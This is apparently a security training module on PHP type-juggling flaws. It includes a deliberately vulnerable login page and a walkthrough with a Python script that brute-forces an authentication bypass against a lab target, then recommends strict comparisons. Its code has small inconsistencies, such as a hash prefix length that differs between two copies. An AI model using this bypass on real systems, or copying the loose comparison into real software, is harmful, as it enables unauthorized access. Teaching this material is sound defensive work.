Type-juggling vulnerabilities

What are type juggling vulnerabilities?

Easy
1 h 30 min

Statically vs. Dynamically typed programming languages

The differences between statically typed and dynamically typed programming languages relate to how the programming language handles variable data types and checks their compatibility.

Static Typing

Statically typed programming language requires that the data type of variables is defined before their use. This means that the programmer must explicitly define what kind of data the variable can contain. If a variable is used in a way that is incompatible with its data type, the program will give an error. An example of a statically typed programming language is Java:

int variable1 = 5;
String variable2 = "5";

boolean sameSize = variable1 == variable2; // causes an error already in the code editor and never ends up as a finished program

Dynamic typing

In dynamically typed programming languages, the data types of variables are defined automatically during execution based on their content. This means that the programmer can use variables without prior declaration of their data type. This can provide more flexibility in programming, but can also cause difficulties if the data types are incompatible and the program behaves unexpectedly. An example of a dynamically typed programming language is Python.

variable1 = "5"
variable2 = 5
yhta_suuri = variable1 == variable2 # the code executes but the result is False

In this Python example, the code behaves correctly, but the result is false, "5" is not equal to 5. This is because although Python is dynamically typed, it is also strongly typed, which we will discuss next.

Strong and Weak Typing

Strong and weak typing is a feature of programming language type systems that defines how conversions between different types of variables are handled.

Weak typing

Weakly typed programming languages automatically perform conversions on variables when attempting to compare two incompatible data types. For example, if you try to compare the text "5" and the number 5, both may be converted to numbers and then compared. Here is an example in JavaScript:

var a = 5;
var b = "5";
a == b // true

Strong Typing

Strongly typed programming languages do not perform these conversions. Here is an example in Python:

a = 5
b = "5"
a == b # False

Weak Comparisons

Often weakly typed programming languages like PHP and JavaScript provide the possibility to both make loose comparisons (usually with the == operator) where conversions are made, and strict comparisons (usually with the === operator) where no conversions are made.

Loose comparisons are comparison operations in which the program compares two different variables, but does not require their types to be exactly the same, as it can automatically convert types for the comparison. This means that a PHP program can compare different types of data, such as strings and numerical values, without the user having to explicitly convert them to the same type.

For example, if the user inputs the string ""42"" and the numeric value 42, the program can compare them using loose comparisons without explicitly converting them to the same data type. If loose equality comparison (usually ==) is used, the program interprets both values as numeric and considers them equal because they both correspond to the numeric value 42.

Therefore, the use of loose comparisons should be avoided and instead precise comparisons (strict comparisons) should be used, where the data types must be exactly the same. Precise comparisons can typically be made using identity comparison (===) or non-identity comparison (!==).

Type juggling vulnerability in PHP language

When loose comparisons are used in the PHP language, it can automatically convert data types for comparison, which can lead to unexpected results.

Scientific exponent format

Regarding this course, we are mostly interested in scientific exponential notation. As a simple example, whenever...

  • We see a string that starts with zero
  • which continues with the letter "e"
  • followed by any number of digits (only digits)
  • and this string is used in a numerical context (such as comparing to another number)

So it is evaluated as a number. For example, in PHP the expression "0e934394" == "0" returns true, because the string "0e934394" is interpreted as a floating point number (which is close to zero) when evaluated in a numerical context. This happens because the string "0e934394" contains the number 0, followed by an exponent 'e' and then a set of numbers. This matches the rules of PHP for evaluating a string in a numerical context. When comparing this string to the string "0", PHP interprets both strings in a numerical context and notes that they are numerically equal. Therefore, the expression returns true.

Here are a few examples of string comparisons in PHP.

bob@marley:~$ php -a
Interactive mode enabled

php > var_dump('0eAAAA' == '0');
bool(false)

php > var_dump('0e1111' == '0');
bool(true)

php > var_dump('0e9999' == 0);
bool(true)

Vulnerability

There are countless ways in which an application can be vulnerable if it uses loose comparisons. Consider, for example, that in a PHP application there is a password "0e92821920192382" that needs to be known to gain access to the application. The application could check the password as follows:


if ($user_entered_password == "0e92821920192382"") {
    // access granted!
}

But you could get past this only by entering the password "0" because the application would then convert both into numbers and the correct password would temporarily become 0 in the same way as the attacker's entered password.

Practical example: Vulnerable PHP application

Next, let's solve a task where the aim is to bypass login by exploiting the type-juggling vulnerability. Below you can see the source code of the login.php file of the application. Start the task below and follow the steps at your own pace.

Source code of login.php file.

<?php

function is_valid($email, $given_code) {
  if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    return False;
  }

  $calc_code = substr(md5($email . $secret), 0, 10);
  if ($calc_code == $given_code) {
    return True;
  }
  else {
    return False;
  }
}

?><!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title> Login </title><?php include 'database.php';?><link href="https://cdn.jsdelivr.net/npm/tailwindcss/dist/tailwind.min.css" rel="stylesheet"></head><body class="bg-gray-100"><div class="flex items-center justify-center h-screen"><?php if (isset($_GET['email']) && isset($_GET['code'])): ?><?php if( is_valid($_GET['email'], $_GET['code']) ): ?><div class="bg-white p-8 rounded shadow-md w-full sm:w-1/2 lg:w-1/3"><h1 class="text-2xl font-bold mb-4 text-center"> Welcome!</h1><p><?php echo $_ENV["FLAG"];?></p></div><?php else: ?><script>
            window.location.href = "/";
          </script><?php endif; ?><?php elseif (isset($_POST['email'])): ?><div class="bg-white p-8 rounded shadow-md w-full sm:w-1/2 lg:w-1/3"><!-- Lähetä kirjautumislinkki jos sposti on olemassa --><?php send_login_link($_POST['email']); ?><h1 class="text-2xl font-bold mb-4 text-center"> A login link has been sent to your email, if it is found in the system </h1></div><?php else: ?><div class="bg-white p-8 rounded shadow-md w-full sm:w-1/2 lg:w-1/3"><h1 class="text-2xl font-bold mb-4 text-center"> Go back to login <a href="/">here</a></h1></div><?php endif; ?></div></body></html>

Exercises

Flag

Find the flag from the lab environment and enter it below.

Vulnerability Verification

The homepage of the application used in the task provides the user with a login form, which asks for the user's email address. When the email is provided, the browser performs a POST request to the login.php page, after which the application notifies that the login link has been sent to the provided email, if it is found in the system.

We will now proceed to examine the source code. From the code, we can quickly see that when a POST request is sent to the login page with the email parameter set, the application calls the function send_login_link with the given email parameter. In the given code, we do not have visibility to this function.

.... <?php elseif (isset($_POST['email'])): ?><div class="bg-white p-8 rounded shadow-md w-full sm:w-1/2 lg:w-1/3"><!-- Lähetä kirjautumislinkki jos sposti on olemassa --><?php send_login_link($_POST['email']); ?><h1 class="text-2xl font-bold mb-4 text-center"> A login link has been sent to your email, if it is found in the system</h1></div> ....

Let's continue the investigation. We can also see from the code that the application receives the email and code parameters in the GET request.

..... <?php if (isset($_GET['email']) && isset($_GET['code'])): ?><?php if( is_valid($_GET['email'], $_GET['code']) ): ?><div class="bg-white p-8 rounded shadow-md w-full sm:w-1/2 lg:w-1/3"><h1 class="text-2xl font-bold mb-4 text-center"> Welcome!</h1><p><?php echo $_ENV["FLAG"];?></p></div><?php else: ?><script>
         window.location.href = "/";
      </script><?php endif; ?>.....

First, the application checks that both the email and code parameters are set using the PHP isset function. On the next line, the application passes the parameter values to a function called is_valid, and if this function returns a True boolean value, the application allows the user to log in. Otherwise, the application redirects the user to the homepage to log in.

Let's continue by examining the functionality of the is_valid function, which has been revealed at the beginning of the given source code.

function is_valid($email, $given_code) {
  if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
    return False;
  }

  $calc_code = substr(md5($email . $secret), 0, 6);
  if ($calc_code == $given_code) {
    return True;
  }
  else {
    return False;
  }
}

First, the is_valid function validates that the given email is in the correct format and not garbage. Then the application calculates the MD5 hash value from the given email and the combination of the $secret variable (which is unknown to the user). Finally, the function takes the first six characters from the calculated hash using PHP's built-in substr function. After that, it compares this combination of six characters to the given code, and if they are identical, the function returns True. If not, the application returns False.

As we can partially control the value from which $calc_code is calculated, as well as the given value $given_code, and these values are compared insecurely, we can exploit the underlying type juggling vulnerability here, causing the function to incorrectly return a value of True.

Exploiting Vulnerabilities

Next, we need to find a valid email address that, when combined with an unknown value $secret, produces a valid MD5 hash. A valid hash requires the first 2 characters to start with 0e and the rest of the characters to be only numbers. We input various email addresses into the application using the email parameter and the value "0" using the code parameter. When the calculated hash is valid, this should result in the comparison of these two values returning true and we can log in.

Write a short Python script for this purpose, which tries out various email combinations automatically and stops when the application returns "Welcome!".

import requests
import string
import random

try_no = 0
while True:
  try_no += 1
  val = ''.join(random.choices(string.ascii_letters + string.digits, k=10))
  email = val + '@hakatemia.fi'
  r = requests.get(f'https://sinun-labran-url.ha-target.com/login.php?email={email}&code=0')
  if "Welcome" in r.text:
    print(f'# {email} returned "Welcome"')
    print(r.text)
    break
  else:
    print(f'Tried {email} : {try_no}')
 

The script quickly finds a suitable email address.


Finally, we can set the confirmed email address email parameter value, and the value of the code parameter to "0".

We solved the task and managed to bypass the application's login by exploiting a type-juggling vulnerability.

Avoid type juggling vulnerabilities!

The use of loose comparisons in PHP should be avoided and instead accurate comparisons (strict comparisons) should be used, where data types must be exactly the same.

Accurate comparisons can be made using identity comparison (===) or non-identity comparison (!==).

hakatemia pro

Ready to become an ethical hacker?
Start today.

As a member of Hakatemia you get unlimited access to Hakatemia modules, exercises and tools, and you get access to the Hakatemia Discord channel where you can ask for help from both instructors and other Hakatemia members.